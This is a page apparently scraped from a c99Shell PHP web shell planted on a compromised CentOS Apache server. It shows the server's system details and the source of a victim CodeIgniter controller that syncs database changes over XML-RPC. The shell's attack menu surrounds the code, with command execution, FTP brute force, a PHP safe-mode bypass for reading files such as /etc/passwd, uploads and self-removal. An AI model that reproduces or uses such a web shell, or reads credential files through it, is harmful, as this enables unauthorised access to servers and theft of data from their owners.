!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/version_client/application/controllers/version/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ver_client.php (11.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include_once(dirname(__FILE__).'/ver_controller.php');
    class 
Ver_client extends Ver_controller
    
{
        function 
__contruct()
        {
            
parent::__construct();
        }
        
        function 
index()
        {
            
$this->ver_view $this->load->view('info/v_info','',TRUE);
            
$this->ver_out();
        }

        function 
update()
        {
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
            
$this->load->model($this->ver_path.'m_ver_config','mcfg');
            
$this->load->model($this->ver_path.'m_ver_client_system','mcs');
            
$this->select_sys_update();
            
$this->mcfg->cfg_id 1;
            
$qu_cfg $this->mcfg->get_all()->row();
            
$data['rs_udt'] = $this->mudt->get_last_update(20);
            
$data['rs_sys'] = $this->mcs->get_all();
            
$data['limit'] = 1;
            
$data['server_name'] = $qu_cfg->cfg_server_name;
            
$this->ver_view $this->load->view($this->ver_path.'v_cli_set',$data,TRUE);
            
$this->ver_out();
        }

        function 
update_server($flag='')
        {
            
$this->load->model($this->ver_path.'m_ver_config','mcfg');
            
$this->form_validation->set_error_delimiters('<div class="error">''</div>');
            
$this->form_validation->set_rules('server_name'' ''trim|required|xss_clean');
            if(
$this->form_validation->run() == TRUE)
            {
                if(
$this->input->server('REQUEST_METHOD') == TRUE)
                {
                    
$server_name 'http://'.preg_replace('/http:\/\//','',$this->input->post('server_name'));
                    
$this->db->trans_begin();
                    
$this->mcfg->cfg_id 1
                    
$this->mcfg->get_by_key(TRUE);
                    
$this->mcfg->cfg_server_name $server_name;
                    
$this->mcfg->update();
                    if(
$this->db->trans_status() == FALSE)
                    {
                        
$this->db->trans_rollback();
                    }
                    else
                    {
                        
$this->db->trans_commit();
                        
$data['success'] = 1;
                        
$data['new_name'] = $this->input->post('server_name');
                    }
                }
            }
            if(
$this->session->flashdata('connect')){
                
$data['con'] = "no";
            }
            
$qu_cfg $this->mcfg->get_all()->row();
            
$data['server_name'] = $qu_cfg->cfg_server_name;
            
$data['flag'] = $flag;
            
$this->ver_view $this->load->view($this->ver_path.'v_update_server',$data,TRUE);
            
$this->ver_popup();

        }

        function 
show_update()
        {
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
            
$data['rs_udt'] = $this->mudt->get_last_update(0,0,1);
            
$data['tb_header'] = 'การจัดการข้อมูลพื้นฐานกลางทั้งหมด';
            
$this->ver_view $this->load->view($this->ver_path.'v_cli_upd',$data,TRUE);
            
$this->ver_out();
        }

        function 
get_update()
        {
            
ini_set('memory_limit','1024M');
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
            
$this->load->model($this->ver_path.'m_ver_config','mcf');
            
$qu_cf $this->mcf->get_all()->row();
            
$server_url $qu_cf->cfg_server_name ;
            
$this->load->library('xmlrpc');
            
$this->xmlrpc->server($server_url80);
            
$this->xmlrpc->method('get_data');
            
//$this->xmlrpc->set_debug(TRUE);
            
$arr = array();
            
$arr[0] = $qu_cf->cfg_ag_id;
            
$arr[1] = $this->input->post('csys_id');
//            $arr = array($qu_cf->cfg_ag_id);
            
$request = array(array($arr,'struct'),'struct');
            
//print_r($request); exit;
//            $request = array($arr);
            
$this->xmlrpc->request($request);
            
$this->xmlrpc->send_request();

//$res = $this->xmlrpc->display_response();
//print_r($res); exit;

            
if(!$this->xmlrpc->send_request())
            {
                echo 
$this->xmlrpc->display_error();
                die(
"<br />ข้อมูลจาก Server ไม่ถูกต้อง");
            }
            else
            {
                
$res $this->xmlrpc->display_response();
                
//print_r($res); exit;
                
$len count($res);
                
$res_id = array();
                
$flag 1;
                
$this->db->trans_begin();
                for(
$i=0;$i $len;$i++)
                {
                    
$data $res[$i];

                    
$this->mudt->udt_upd_id $data[0];
                    
$this->mudt->udt_tx_id $data[1];
                    
$this->mudt->udt_tx_opt $data[2];
                    
$this->mudt->udt_tx_sys_id $data[3];
                    
$this->mudt->udt_tx_tb_name $data[4];
                    
$this->mudt->udt_tx_field_name $data[5];
                    
$this->mudt->udt_tx_old_val $data[6];
                    
$this->mudt->udt_tx_new_val $data[7];
                    
$this->mudt->udt_tx_cond $data[8];
                    
$this->mudt->udt_tx_describe $data[9];
                    
$this->mudt->udt_db_name $data[10];
                    
$this->mudt->udt_date date('Y-m-d');
                    
$this->mudt->udt_time date('H:i:s');
                    
$this->mudt->udt_status 'L';
                    
$this->mudt->insert();
////////////////////////////////////////////////////////////////////////
                    
if($this->db->trans_status() == FALSE)
                    {
                        
$flag 0;
                        break;
                    }
                    else
                    {
                        
$res_id[$i] = $data[0];
                    }
                }
                if(
$flag == 1)
                {
                    
$res2  $this->response_download($res_id);
                    if(
$res2 == 1)
                    {
                        
$this->db->trans_commit();
                    }
                    else
                    {
                        
$this->db->trans_rollback();
                    }
                }
            }
            
redirect($this->config->item('ver_folder').'ver_client/show_nonupdate');
        }

        function 
response_download($res_id)
        {
            
$this->load->model($this->ver_path.'m_ver_config','mcf');
            
$qu_cf $this->mcf->get_all()->row();
            
$server_url $qu_cf->cfg_server_name ;
            
$arr = array($res_id,'struct');
            
$this->load->library('xmlrpc');
//            $this->xmlrpc->set_debug(TRUE);
            
$this->xmlrpc->server($server_url,80);
            
$this->xmlrpc->method('set_download');
            
$request = array($arr);
            
$this->xmlrpc->request($request);
            if(!
$this->xmlrpc->send_request())
            {
                return 
0;
            }
            else
            {
                
$res2 $this->xmlrpc->display_response();
                return 
$res2['result_status'];
            }
        }

        function 
show_nonupdate()
        {
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
            
$this->mudt->udt_status 'L';
            
$data['rs_udt'] = $this->mudt->get_non_update();
            
$data['flag_upd'] = 1;
            
$data['tb_header'] = 'รายการข้อมูลที่ยังไม่ได้อัพเดท';
            
$data['limit'] = 1;
            
$this->ver_view $this->load->view($this->ver_path.'v_cli_upd',$data,TRUE);
            
$this->ver_out();
        }

        function 
process_query()
        {
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
//            $this->load->model($this->ver_path.'m_ver_txlog','mtx');
            
if($this->input->server('REQUEST_METHOD') == 'POST')
            {
                
$arr = array();
                
$i 0;
                
$flag 1;
                
$upd_id = array();
                
$this->db->trans_begin();
                foreach(
$this->input->post('chkUpd') as $index => $val )
                {
                    
$this->mudt->udt_id $val;
                    
$qu_da $this->mudt->get_by_key();
                    
//echo $this->db->last_query();die;
                    
$arr[$i] = $qu_da->row()->udt_id;
                    
$sql "";
                    if(
$qu_da->row()->udt_tx_cond != '')
                        
$cond preg_replace('/[#]/',"'",$qu_da->row()->udt_tx_cond);
                    switch(
strtolower($qu_da->row()->udt_tx_opt))
                    {
                        case 
'insert':
                            
$sql .= "INSERT IGNORE INTO ".$qu_da->row()->udt_db_name.'.'.$qu_da->row()->udt_tx_tb_name."(".$qu_da->row()->udt_tx_field_name.")";
                            
$temp str_replace("!_"," ",$qu_da->row()->udt_tx_new_val);
                            
$temp str_replace("!$",",",$temp);
                            
$temp str_replace("!<","(",$temp);
                            
$temp str_replace("!>",")",$temp);
                            
$temp preg_replace('/[#]/',"'",$temp);
                            
$temp str_replace("'NULL'","NULL",$temp);
                            
$sql .= " VALUES(".$temp.")";
                            break;
                        case 
'update':
                            
$sql "UPDATE ".$qu_da->row()->udt_db_name.'.'.$qu_da->row()->udt_tx_tb_name." SET ";
                            
$field preg_split('/[,]/',$qu_da->row()->udt_tx_field_name);
                            
$temp preg_replace('/[#]/',"'",$qu_da->row()->udt_tx_new_val);
                            
$val preg_split('/[,]/',$temp);
                            
$len count($field);
                            for(
$i=0$i $len$i++)
                            {
                                
$temp str_replace("!_"," ",$val[$i]);
                                
$temp str_replace("!$",",",$temp);
                                
$temp str_replace("!<","(",$temp);
                                
$temp str_replace("!>",")",$temp);
                                
$temp str_replace("'NULL'","NULL",$temp);
                                
$sql .=  $field[$i]."=".$temp.",";
                            }
                            
$sql substr($sql,0,(strlen($sql)-1));
                            if(
$qu_da->row()->udt_tx_cond != '')
                            {
                                
$sql .= " WHERE ".$cond;
                            }
                            break;
                        case 
'delete':
                            
$sql "DELETE FROM ".$qu_da->row()->udt_db_name.'.'.$qu_da->row()->udt_tx_tb_name;
                            
$sql .= " WHERE ".$cond
                            break;
                        case 
'special'
                            
$sql preg_replace('[\n|@@]',' ',$qu_da->row()->udt_tx_old_val);
                            break;
                    }
                    if(
$qu_da->row()->udt_db_name != '')
                    {
                        
$this->mudt->pcs_query($sql,$qu_da->row()->udt_db_name);
                    }
                    else
                    {
                        
$this->mudt->pcs_query($sql);
                    }
                    if(
$this->db->trans_status() == TRUE)
                    {
                        
$upd_id[] = $qu_da->row()->udt_upd_id;
                    }
                    else
                    {
                        
$flag 0;
                        break;
                    }
                }
                if(
$flag ==1)
                {
                    
$res $this->response_query($upd_id);
                    if(
$res==1)
                    {
                        
$this->db->trans_commit();
                    }
                    else
                    {
                        
$this->db->trans_rollback();
                        
$flag =0;
                    }
                }
                else
                {
                    
$this->db->trans_rollback();
                }
                
$status = ($flag==1)?'U':'L';
                foreach(
$upd_id as $index => $val)
                {
                    
$this->mudt->udt_upd_id $val;
                    
$qu $this->mudt->getByUpdId();
                    if(
$qu->num_rows() > 0)
                    {
                        
$this->mudt->udt_id $qu->row()->udt_id;
                        
$this->mudt->get_by_key(TRUE);
                        
$this->mudt->udt_date date('Y-m-d');
                        
$this->mudt->udt_time date('H:i:s');
                        
$this->mudt->udt_status $status;
                        
$this->mudt->update();
                    }
                }
            }
            
redirect($this->ver_path.'ver_client/show_nonupdate');
        }

        function 
response_query($upd_id)
        {
            
$this->load->model($this->ver_path.'m_ver_config','mcf');
            
$qu_cf $this->mcf->get_all()->row();
            
$server_url $qu_cf->cfg_server_name ;
            
$arr = array($upd_id,'struct');
            
$this->load->library('xmlrpc');
//            $this->xmlrpc->set_debug(TRUE);
            
$this->xmlrpc->server($server_url,80);
            
$this->xmlrpc->method('set_query');
            
$request = array($arr);
            
$this->xmlrpc->request($request);
            if(!
$this->xmlrpc->send_request())
            {
                return 
0;
            }
            else
            {
                
$res2 $this->xmlrpc->display_response();
                return 
$res2['result_status'];
            }
        }

        function 
select_sys_update()
        {
            
$this->load->model($this->ver_path.'ver_client_system','mcs');
            
$this->load->model($this->ver_path.'m_ver_config','mcf');
            
$qu_cf $this->mcf->get_all()->row();
            
$server_url $qu_cf->cfg_server_name ;
            
$this->load->library('xmlrpc');
            
//$this->xmlrpc->set_debug(TRUE);
            
$this->xmlrpc->server($server_url,80);
            
$this->xmlrpc->method('get_sys_list');
            
$arr = array($qu_cf->cfg_ag_id);
            
$request = array($arr);
            
$this->xmlrpc->request($request);
            if(!
$this->xmlrpc->send_request())
            {
                
//echo $this->xmlrpc->display_error();
                
$this->session->set_flashdata('connect''no');
                
redirect($this->config->item("ver_folder").'ver_client/update_server');
            }
            else
            {
                
$res $this->xmlrpc->display_response();
                
$len count($res);
                
$res;
                for( 
$i=0$i<$len$i++)
                {
                    
$this->mcs->csys_id $res[$i][0];
                    
$qu $this->mcs->get_by_key();
                    
$num $qu->num_rows();
                    if(
$num 0)
                        
$this->mcs->get_by_key(TRUE);
                    
$this->mcs->csys_en_name $res[$i][1];
                    
$this->mcs->csys_th_name $res[$i][2];
                    (
$num )?$this->mcs->update():$this->mcs->insert();
                }
            }
        }
        function 
detail_query($udt_id '')
        {
            
$udt_id = ($this->input->post('udt_id'))?$this->input->post('udt_id'):$udt_id;
    
            
$this->load->model($this->ver_path.'m_ver_upd_data','mudt');
            
$this->mudt->udt_id $udt_id;//$this->input->post('udt_id');
            
$data['qu_udt'] = $this->mudt->get_by_key();
            
$this->ver_view $this->load->view($this->ver_path.'v_pop_detail_qry',$data,TRUE);
            
$this->ver_popup();
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--